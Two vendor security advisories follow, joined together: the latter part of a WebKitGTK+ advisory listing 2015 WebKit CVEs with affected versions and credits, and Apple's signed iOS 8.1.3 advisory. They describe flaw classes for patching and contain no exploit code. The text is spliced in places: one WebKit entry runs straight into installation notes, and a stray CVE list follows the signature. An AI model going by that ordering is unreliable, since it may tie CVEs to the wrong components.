SA-2015-04-08-4.
CVE-2015-1121
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and
Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5,
allows remote attackers to execute arbitrary code or cause a denial
of service (memory corruption and application crash) via a crafted
web site, a different vulnerability than other WebKit CVEs listed in
APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-
SA-2015-04-08-4.
CVE-2015-1122
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and
Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5,
allows remote attackers to execute arbitrary code or cause a denial
of service (memory corruption and application crash) via a crafted
web site, a different vulnerability than other WebKit CVEs listed in
APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-
SA-2015-04-08-4.
CVE-2015-1124
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and
Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5,
allows remote attackers to execute arbitrary code or cause a denial
of service (memory corruption and application crash) via a crafted
web site, a different vulnerability than other WebKit CVEs listed in
APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-
SA-2015-04-08-4.
CVE-2015-1126
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Jouko Pynnonen of Klikki Oy.
WebKit, as used in Apple iOS before 8.3 and Apple Safari before
6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5, does not properly
handle the userinfo field in FTP URLs, which allows remote attackers
to trigger incorrect resource access via unspecified vectors.
CVE-2015-1127
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Tyler C (2.6.5).
The private-browsing implementation in WebKit in Apple Safari before
6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5 places browsing
history into an index, which might allow local users to obtain
sensitive information by reading index entries.
CVE-2015-1152
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-1153
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple (2.6.5).
CVE-2015-1154
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple (2.6.5).
CVE-2015-1155
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Joe Vennix of Rapid7 Inc. working with HP's Zero Day
Initiative.
The history implementation in WebKit, as used in Apple Safari before
6.2.6, 7.x before 7.1.6, and 8.x before 8.0.6, allows remote
attackers to bypass the Same Origin Policy and read arbitrary files
via a crafted web site.
CVE-2015-1156
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Zachary Durber of Moodle.
The page-loading implementation in WebKit, as used in Apple Safari
before 6.2.6, 7.x before 7.1.6, and 8.x before 8.0.6, does not
properly handle the rel attribute in an A element, which allows
remote attackers to bypass the Same Origin Policy for a link's
target, and spoof the user interface, via a crafted web site.
CVE-2015-2330
Versions affected: WebKitGTK+ before 2.6.6.
Credit to Ross Lagerwall.
Late TLS certificate verification in WebKitGTK+ prior to 2.6.6
allows remote attackers to view a secure HTTP request, including,
for example, secure cookies.
CVE-2015-3658
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Brad Hill of Facebook.
The Page Loading functionality in WebKit in Apple Safari before
6.2.7, 7.x before 7.1.7, and 8.x before 8.0.7, as used in Apple iOS
before 8.4 and other products, does not properly consider redirects
during decisions about sending an Origin header, which makes it
easier for remote attackers to bypass CSRF protection mechanisms via
a crafted web site.
CVE-2015-3659
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Peter Rutenbar working with HP's Zero Day Initiative.
The SQLite authorizer in the Storage functionality in WebKit in
Apple Safari before 6.2.7, 7.x before 7.1.7, and 8.x before 8.0.7,
as used in Apple iOS before 8.4 and other products, does not
properly restrict access to SQL functions, which allows remote
attackers to execute arbitrary code or cause a denial of service
(application crash) via a crafted web site.
CVE-2015-3660
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
Cross-site scripting (XSS) vulnerability in the PDF functionality in
WebKit in Apple Safari before 6.2.7, 7.x before 7.1.7, and 8.x
before 8.0.7 allows remote attackers to inject arbitrary web script
or HTML via a crafted URL in embedded PDF content.
CVE-2015-3727
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Peter Rutenbar working with HP's Zero Day Initiative.
WebKit in Apple Safari before 6.2.7, 7.x before 7.1.7, and 8.x
before 8.0.7, as used in Apple iOS before 8.4 and other products,
does not properly restrict rename operations on WebSQL tables, which
allows remote attackers to access an arbitrary web site's database
via a crafted web site.
CVE-2015-3730
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3731
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3732
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3733
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3734
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3735
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3736
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3737
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3738
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3739
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3740
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3741
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3742
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3743
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3744
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3745
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3746
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3747
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3748
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3749
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
WebKit, as used in Apple iOS before 8.4.1 and Safari before 6.2.8,
7.x before 7.1.8, and 8.x before 8.0.8, allows remote attackers to
execute arbitrary code or cause a denial of service (memory
corruption and application crash) via a crafted web site, a
different vulnerability than other WebKit CVEs listed in APPLE-
SA-2015-08-13-1 and APPLE-SA-2015-08-13-3.
CVE-2015-3750
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Muneaki Nishimura (nishimunea).
WebKit in Apple Safari before 6.2.8, 7.x before 7.1.8, and 8.x
before 8.0.8, as used in iOS before 8.4.1 and other products, does
not enforce the HTTP Strict Transport Security (HSTS) protection
mechanism for Content Security Policy (CSP) report requests, which
allows man-in-the-middle attackers to obtain sensitive information
by sniffing the network or spoof a report by modifying the client-
server data stream.
CVE-2015-3751
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Muneaki Nishimura (nishimunea).
WebKit in Apple Safari before 6.2.8, 7.x before 7.1.8, and 8.x
before 8.0.8, as used in iOS before 8.4.1 and other products, allows
remote attackers to bypass a Content Security Policy protection
mechanism by using a video control in conjunction with an IMG
element within an OBJECT element.
CVE-2015-3752
Versions affected: WebKitGTK+ before 2.8.4.
Credit to Muneaki Nishimura (nishimunea).
The Content Security Policy implementation in WebKit in Apple Safari
before 6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8, as used in iOS
before 8.4.1 and other products, does not properly restrict cookie
transmission for report requests, which allows remote attackers to
obtain sensitive information via vectors involving (1) a cross-
origin request or (2) a private-browsing request.
CVE-2015-3753
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Antonio Sanso and Damien Antipa of Adobe.
WebKit in Apple Safari before 6.2.8, 7.x before 7.1.8, and 8.x
before 8.0.8, as used in iOS before 8.4.1 and other products, does
not properly perform taint checking for CANVAS elements, which
allows remote attackers to bypass the Same Origin Policy and obtain
sensitive image data by leveraging a redirect to a data:image
resource.
CVE-2015-3754
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Dongsung Kim (@kid1ng).
The private-browsing implementation in WebKit in Apple Safari before
6.2.8, 7.x before 7.1.8, and 8.x before 8.0.8 does not prevent
caching of HTTP authentication credentials, which makes it easier
for remote attackers to track users via a crafted web site.
CVE-2015-3755
Versions affected: WebKitGTK+ before 2.10.0.
Credit to xisigr of Tencent's Xuanwu Lab.
WebKit in Apple Safari before 6.2.8, 7.x before 7.1.8, and 8.x
before 8.0.8, as used in iOS before 8.4.1 and other products, allows
remote attackers to spoof the user interface via a malformed URL.
CVE-2015-5788
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
The WebKit Canvas implementation in Apple iOS before 9 allows remote
attackers to bypass the Same Origin Policy and obtain sensitive
image information via vectors involving a CANVAS element.
CVE-2015-5789
Versions affected: WebKitGTK+ before 2.6.1.
Credit to Apple.
CVE-2015-5790
Versions affected: WebKitGTK+ before 2.6.2.
Credit to Apple.
CVE-2015-5791
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
CVE-2015-5792
Versions affected: WebKitGTK+ before 2.4.0.
Credit to Apple.
CVE-2015-5793
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5794
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5795
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
CVE-2015-5797
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5798
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
CVE-2015-5799
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple (2.6.5).
CVE-2015-5800
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple (2.6.5).
CVE-2015-5801
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5802
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
CVE-2015-5803
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5804
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5805
Versions affected: WebKitGTK+ before 2.10.0.
Credit to unknown.
CVE-2015-5806
Versions affected: WebKitGTK+ before 2.8.3.
Credit to Apple.
CVE-2015-5807
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5809
Versions affected: WebKitGTK+ before 2.8.4.
Credit to Apple.
CVE-2015-5810
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5811
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5812
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5813
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5814
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5815
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5816
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5817
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5818
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5819
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5822
Versions affected: WebKitGTK+ before 2.8.1.
Credit to Mark S. Miller of Google.
CVE-2015-5823
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
CVE-2015-5825
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Yossi Oren et al. of Columbia University's Network
Security Lab.
WebKit in Apple iOS before 9 does not properly restrict the
availability of Performance API times, which allows remote attackers
to obtain sensitive information about the browser history, mouse
movement, or network traffic via crafted JavaScript code.
CVE-2015-5826
Versions affected: WebKitGTK+ before 2.6.5.
Credit to filedescriptior, Chris Evans.
WebKit in Apple iOS before 9 does not properly select the cases in
which a Cascading Style Sheets (CSS) document is required to have
the text/css content type, which allows remote attackers to bypass
the Same Origin Policy via a crafted web site.
CVE-2015-5827
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Gildas.
WebKit in Apple iOS before 9 allows remote attackers to bypass the
Same Origin Policy and obtain an object reference via vectors
involving a (1) custom event, (2) message event, or (3) pop state
event.
CVE-2015-5828
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Lorenzo Fontana.
The API in the WebKit Plug-ins component in Apple Safari before 9
does not provide notification of an HTTP Redirection (aka 3xx)
status code to a plugin, which allows remote attackers to bypass
intended request restrictions via a crafted web site.
CVE-2015-5928
Versions affected: WebKitGTK+ before 2.8.4.
Credit to Apple.
CVE-2015-5929
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5930
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-5931
Versions affected: WebKitGTK+ before 2.10.0.
Credit to unknown.
CVE-2015-7002
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7012
Versions affected: WebKitGTK+ before 2.8.4.
Credit to Apple.
CVE-2015-7013
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7014
Versions affected: WebKitGTK+ before 2.10.0.
Credit to unknown.
CVE-2015-7048
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7095
Versions affected: WebKitGTK+ before 2.10.2.
Credit to Apple.
CVE-2015-7097
Versions affected: WebKitGTK+ before 2.10.3.
Credit to Apple.
CVE-2015-7099
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7100
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7102
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7103
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
CVE-2015-7104
Versions affected: WebKitGTK+ before 2.10.0.
Credit to Apple.
We recommend updating to the last stable version of WebKitGTK+. It is
the best way of ensuring that you are running a safe version of
WebKitGTK+. Please check our website for information about the last
stable releases.
Further information about WebKitGTK+ Security Advisories can be found
at: http://webkitgtk.org/security.html
The WebKitGTK+ team,
December 28, 2015
. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
APPLE-SA-2015-01-27-2 iOS 8.1.3
iOS 8.1.3 is now available and addresses the following:
AppleFileConduit
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A maliciously crafted afc command may allow access to
protected parts of the filesystem
Description: A vulnerability existed in the symbolic linking
mechanism of afc. This issue was addressed by adding additional path
checks.
CVE-ID
CVE-2014-4480 : TaiG Jailbreak Team
CoreGraphics
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Opening a maliciously crafted PDF file may lead to an
unexpected application termination or arbitrary code execution
Description: An integer overflow existed in the handling of PDF
files. This issue was addressed through improved bounds checking.
CVE-ID
CVE-2014-4481 : Felipe Andres Manzano of the Binamuse VRT, via the
iSIGHT Partners GVP Program
dyld
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A local user may be able to execute unsigned code
Description: A state management issue existed in the handling of
Mach-O executable files with overlapping segments. This issue was
addressed through improved validation of segment sizes.
CVE-ID
CVE-2014-4455 : TaiG Jailbreak Team
FontParser
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Opening a maliciously crafted PDF file may lead to an
unexpected application termination or arbitrary code execution
Description: A buffer overflow existed in the handling of font
files. This issue was addressed through improved bounds checking.
CVE-ID
CVE-2014-4483 : Apple
FontParser
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Processing a maliciously crafted .dfont file may lead to an
unexpected application termination or arbitrary code execution
Description: A memory corruption issue existed in the handling of
.dfont files. This issue was addressed through improved bounds
checking.
CVE-ID
CVE-2014-4484 : Gaurav Baruah working with HP's Zero Day Initiative
Foundation
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Viewing a maliciously crafted XML file may lead to an
unexpected application termination or arbitrary code execution
Description: A buffer overflow existed in the XML parser. This issue
was addressed through improved bounds checking.
CVE-ID
CVE-2014-4485 : Apple
IOAcceleratorFamily
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary
code with system privileges
Description: A null pointer dereference existed in
IOAcceleratorFamily's handling of resource lists. This issue was
addressed by removing unneeded code.
CVE-ID
CVE-2014-4486 : Ian Beer of Google Project Zero
IOHIDFamily
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary
code with system privileges
Description: A buffer overflow existed in IOHIDFamily. This issue
was addressed through improved size validation.
CVE-ID
CVE-2014-4487 : TaiG Jailbreak Team
IOHIDFamily
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary
code with system privileges
Description: A validation issue existed in IOHIDFamily's handling of
resource queue metadata. This issue was addressed through improved
validation of metadata.
CVE-ID
CVE-2014-4488 : Apple
IOHIDFamily
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary
code with system privileges
Description: A null pointer dereference existed in IOHIDFamily's
handling of event queues. This issue was addressed through improved
validation.
CVE-ID
CVE-2014-4489 : @beist
iTunes Store
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A website may be able to bypass sandbox restrictions using
the iTunes Store
Description: An issue existed in the handling of URLs redirected
from Safari to the iTunes Store that could allow a malicious website
to bypass Safari's sandbox restrictions. The issue was addressed with
improved filtering of URLs opened by the iTunes Store.
CVE-ID
CVE-2014-8840 : lokihardt@ASRT working with HP's Zero Day Initiative
Kernel
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be
able to determine addresses in the kernel
Description: An information disclosure issue existed in the handling
of APIs related to kernel extensions. Responses containing an
OSBundleMachOHeaders key may have included kernel addresses, which
may aid in bypassing address space layout randomization protection.
This issue was addressed by unsliding the addresses before returning
them.
CVE-ID
CVE-2014-4491 : @PanguTeam, Stefan Esser
Kernel
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary
code with system privileges
Description: An issue existed in the kernel shared memory subsystem
that allowed an attacker to write to memory that was intended to be
read-only. This issue was addressed with stricter checking of shared
memory permissions.
CVE-ID
CVE-2014-4495 : Ian Beer of Google Project Zero
Kernel
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Maliciously crafted or compromised iOS applications may be
able to determine addresses in the kernel
Description: The mach_port_kobject kernel interface leaked kernel
addresses and heap permutation value, which may aid in bypassing
address space layout randomization protection. This was addressed by
disabling the mach_port_kobject interface in production
configurations.
CVE-ID
CVE-2014-4496 : TaiG Jailbreak Team
libnetcore
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious, sandboxed app can compromise the networkd
daemon
Description: Multiple type confusion issues existed in networkd's
handling of interprocess communication. By sending a maliciously
formatted message to networkd, it may have been possible to execute
arbitrary code as the networkd process. The issue is addressed
through additional type checking.
CVE-ID
CVE-2014-4492 : Ian Beer of Google Project Zero
MobileInstallation
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious enterprise-signed application may be able to
take control of the local container for applications already on a
device
Description: A vulnerability existed in the application installation
process. This was addressed by preventing enterprise applications
from overriding existing applications in specific scenarios.
CVE-ID
CVE-2014-4493 : Hui Xue and Tao Wei of FireEye, Inc.
Springboard
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Enterprise-signed applications may be launched without
prompting for trust
Description: An issue existed in determining when to prompt for
trust when first opening an enterprise-signed application. This issue
was addressed through improved code signature validation.
CVE-ID
CVE-2014-4494 : Song Jin, Hui Xue, and Tao Wei of FireEye, Inc.
WebKit
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Visiting a website that frames malicious content may lead to
UI spoofing
Description: A UI spoofing issue existed in the handling of
scrollbar boundaries. This issue was addressed through improved
bounds checking.
CVE-ID
CVE-2014-4467 : Jordan Milne
WebKit
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Style sheets are loaded cross-origin which may allow for
data exfiltration
Description: An SVG loaded in an img element could load a CSS file
cross-origin. This issue was addressed through enhanced blocking of
external CSS references in SVGs.
CVE-ID
CVE-2014-4465 : Rennie deGraaf of iSEC Partners
WebKit
Available for: iPhone 4s and later,
iPod touch (5th generation) and later, iPad 2 and later
Impact: Visiting a maliciously crafted website may lead to an
unexpected application termination or arbitrary code execution
Description: Multiple memory corruption issues existed in WebKit.
These issues were addressed through improved memory handling. Make sure you have an
Internet connection and have installed the latest version of iTunes
from www.apple.com/itunes/
iTunes and Software Update on the device will automatically check
Apple's update server on its weekly schedule. When an update is
detected, it is downloaded and the option to be installed is
presented to the user when the iOS device is docked. We recommend
applying the update immediately if possible. Selecting Don't Install
will present the option the next time you connect your iOS device.
The automatic update process may take up to a week depending on the
day that iTunes or the device checks for updates. You may manually
obtain the update via the Check for Updates button within iTunes, or
the Software Update on your device.
To check that the iPhone, iPod touch, or iPad has been updated:
* Navigate to Settings
* Select General
* Select About.
Information will also be posted to the Apple Security Updates
web site: https://support.apple.com/kb/HT1222
This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG/MacGPG2 v2.0.22 (Darwin)
iQIcBAEBAgAGBQJUx8umAAoJEBcWfLTuOo7tTskQAI5o4uXj16m90mQhSqUYG35F
pCbUBiLJj4IWcgLsNDKgnhcmX6YOA+q7LnyCuU91K4DLybFZr5/OrxDU4/qCsKQb
8o6uRHdtfq6zrOrUgv+hKXP36Rf5v/zl/P9JViuJoKZXMQow6DYoTpCaUAUwp23z
mrF3EwzZyxfT2ICWwPS7r8A9annIprGBZLJz1Yr7Ek90WILTg9RbgnI60IBfpLzn
Bi4ej9FqV2HAy4S9Fad6jyB9E0rAsl6PRMPGKVvOa2o1/mLqiFGR06qyHwJ+ynj8
tTGcnVhiZVaiur807DY1hb6uB2oLFQXxHFYe3T17l3igM/iminMpWfcq/PmnIIwR
IASrhc24qgUywOGK6FfVKdoh5KNgb3xK4X7U9YL9/eMwgT48a2qO6lLTfYdFfBCh
wEzMAFEDpnkwOSw/s5Ry0eCY+p+DU0Kxr3Ter3zkNO0abf2yXjAtu4nHBk3I1t4P
y8fM8vcWhPDTdfhIWp5Vwcs6sxCGXO1/w6Okuv4LlEDkSJ0Vm2AdhnE0TmhWW0BB
w7XMGRYdUCYRbGIta1wciD8yR1xeAWGIOL9+tYROfK4jgPgFGNjtkhqMWNxLZwnR
IEHZ2hYBhf3bWCtEDP5nZBV7jdUUdMxDzDX9AuPp67SXld2By+iMe8AYgu6EVhfY
CfDJ+b9mxdd8GswiT3OO
=j9pr
-----END PGP SIGNATURE-----
.
CVE-ID
CVE-2014-3192 : cloudfuzzer
CVE-2014-4476 : Apple
CVE-2014-4477 : lokihardt@ASRT working with HP's Zero Day
Initiative
CVE-2014-4479 : Apple
